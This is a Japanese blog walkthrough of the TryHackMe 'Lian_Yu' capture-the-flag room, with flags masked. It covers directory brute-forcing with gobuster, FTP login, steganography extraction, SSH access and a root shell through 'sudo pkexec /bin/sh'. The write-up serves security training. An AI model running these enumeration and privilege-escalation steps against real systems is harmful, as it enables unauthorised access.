はまやんはまやんはまやん

hamayanhamayan's blog

Lian_Yu 解説 (Writeup) [TryHackMe]

f:id:hamayanhamayan:20210525172240p:plain

一部を■で隠しています。

第一段階:ユーザーシェルを奪う

とりあえずいつものやつをやる。

$ export IP=[your IP]
$ nmap -sC -sV $IP
21/tcp  open  ftp     vsftpd 3.0.2
22/tcp  open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
80/tcp  open  http    Apache httpd
111/tcp open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          37269/udp   status
|   100024  1          45910/tcp   status
|   100024  1          49953/udp6  status
|_  100024  1          52187/tcp6  status
$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/common.txt

んー特にないか…でもこれをやれと問題に書いてあるからな…辞書を変えてみる。

色々ディレクトリスキャンを試す

$ gobuster dir -e -u http://$IP -w /usr/share/dirb/wordlists/big.txt
http://$IP/island (Status: 301)

きたきた。

for i in range(1000, 10000):
    print(i)

Hintを見ると数値4桁っぽいので、こんなやつで適当に辞書を作ってスキャンする。

$ gobuster dir -e -u http://$IP/island -w dic.txt
http://$IP/island/2100 (Status: 301)

ok.
動画はアクセスできないが、ソースを見ると、<!-- you can avail your .ticket here but how? -->とある。
postfixを付けてgobusterする。

$ gobuster dir -e -u http://$IP/island/2100 -w /usr/share/dirb/wordlists/big.txt -x .ticket

出てこないし…

ちょっと心が折れてWriteupへ

みんな別の辞書使ってるじゃん。
dirbusterを入れて辞書を貰ってくる。

$ gobuster dir -e -u http://$IP/island/2100 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -x .ticket
http://$IP/island/2100/■■■■■■■■■■.ticket (Status: 200)

あーやっと出てきました。

This is just a token to get into Queen's Gambit(Ship)

■■■■■■■■■■

ftpパスワードかな?

ftp

まずはユーザー名を特定しよう。
今まで分かっている所からユーザー名っぽいものを探すと、/island/にあるCode Wordが使えそう。
使ってみるとパスワードが要求されるので、これでいい。
パスワードはさっきのアレだなと思って使うと…使えない。
tokenとして紹介されているので、なんかエンコードされているんだろうなと思って色々試すがダメ。

心が折れてWriteupへ

base58エンコードされているのでデコードするとパスワードになるらしい。
ちゃんとデコードできているような出力ではないのだが、使ってみると通る。
もっとわかりやすくデコードできてる感じにしてよ…と思ったが、答えを提出すれば確かめられるか…

まあ、それはともかく、中身を見てみる。

PS C:\Users\ctf> ftp $IP
ユーザー ($IP:(none)): vigilante
331 Please specify the password.
パスワード:
230 Login successful.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
Leave_me_alone.png
Queen's_Gambit.png
aa.jpg
226 Directory send OK.
ftp: 51 バイトが受信されました 0.00秒 12.75KB/秒。
ftp> get Leave_me_alone.png
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for Leave_me_alone.png (511720 bytes).
226 Transfer complete.
ftp: 511720 バイトが受信されました 8.05秒 63.57KB/秒。
ftp> get Queen's_Gambit.png
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for Queen's_Gambit.png (549924 bytes).
226 Transfer complete.
ftp: 549924 バイトが受信されました 38.30秒 14.36KB/秒。
ftp> get aa.jpg
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for aa.jpg (191026 bytes).
226 Transfer complete.
ftp: 191026 バイトが受信されました 10.66秒 17.92KB/秒。

ステガノグラフィ

とりあえず全部持ってきて中を見ると、Leave_me_alone.pngが開けない。
バイナリエディタで見てみるとpngのヘッダーではない。
書き換えて正しいヘッダーにしよう。
先頭をいじりながら開けるか試すと、以下のようになった。

f:id:hamayanhamayan:20210525204916p:plain

これでパスワードが得られるが、どこで使えばいい…?
もちろん、aa.jpgが怪しいが…
色々試すとsteghideで抜き出せる。

$ steghide extract -sf aa.jpg
Enter passphrase: 
wrote extracted data to "ss.zip".

この中に答えにつながるファイルが見つかった。
よし、やっとSSHや。

SSH

ftpで使ったユーザーでやってみるとログインできない。
そういえばftpで探索しているときにもう一人sladeというユーザーがいたことを思い出す。
これでログインができる。

slade@LianYu:~$ ls -la
total 32
drwx------ 2 slade slade 4096 May  1  2020 .
drwxr-xr-x 4 root  root  4096 May  1  2020 ..
-rw------- 1 slade slade   22 May  1  2020 .bash_history
-rw-r--r-- 1 slade slade  220 May  1  2020 .bash_logout 
-rw-r--r-- 1 slade slade 3515 May  1  2020 .bashrc      
-r-------- 1 slade slade   77 May  1  2020 .Important   
-rw-r--r-- 1 slade slade  675 May  1  2020 .profile     
-r-------- 1 slade slade   63 May  1  2020 user.txt     
slade@LianYu:~$ cat user.txt
■■■■■■■■■■■■■■■■■■■■■■■■
                        --Felicity Smoak 

第二段階:権限昇格

色々試すとsudoで行けそう。
pkexec | GTFOBinsをやってみよう。

slade@LianYu:~$ sudo -l
[sudo] password for slade: 
Matching Defaults entries for slade on LianYu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User slade may run the following commands on LianYu:
    (root) PASSWD: /usr/bin/pkexec
slade@LianYu:~$ sudo pkexec /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /root
# ls -la
total 28
drwx------  3 root root 4096 May  1  2020 .
drwxr-xr-x 23 root root 4096 May  1  2020 ..
-rw-------  1 root root   22 May  1  2020 .bash_history
-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc
drwx------  2 root root 4096 May  1  2020 .gnupg
-rw-r--r--  1 root root  140 Nov 19  2007 .profile
-rw-r--r--  1 root root  340 May  1  2020 root.txt
# cat root.txt
                          Mission accomplished



You are injected me with Mirakuru:) ---> Now slade Will become DEATHSTROKE.



■■■■■■■■■■■■■■■■■■■■■■■■■■■■■
                                                                              --DEATHSTROKE

Let me know your comments about this machine :)
I will be available @twitter @User6825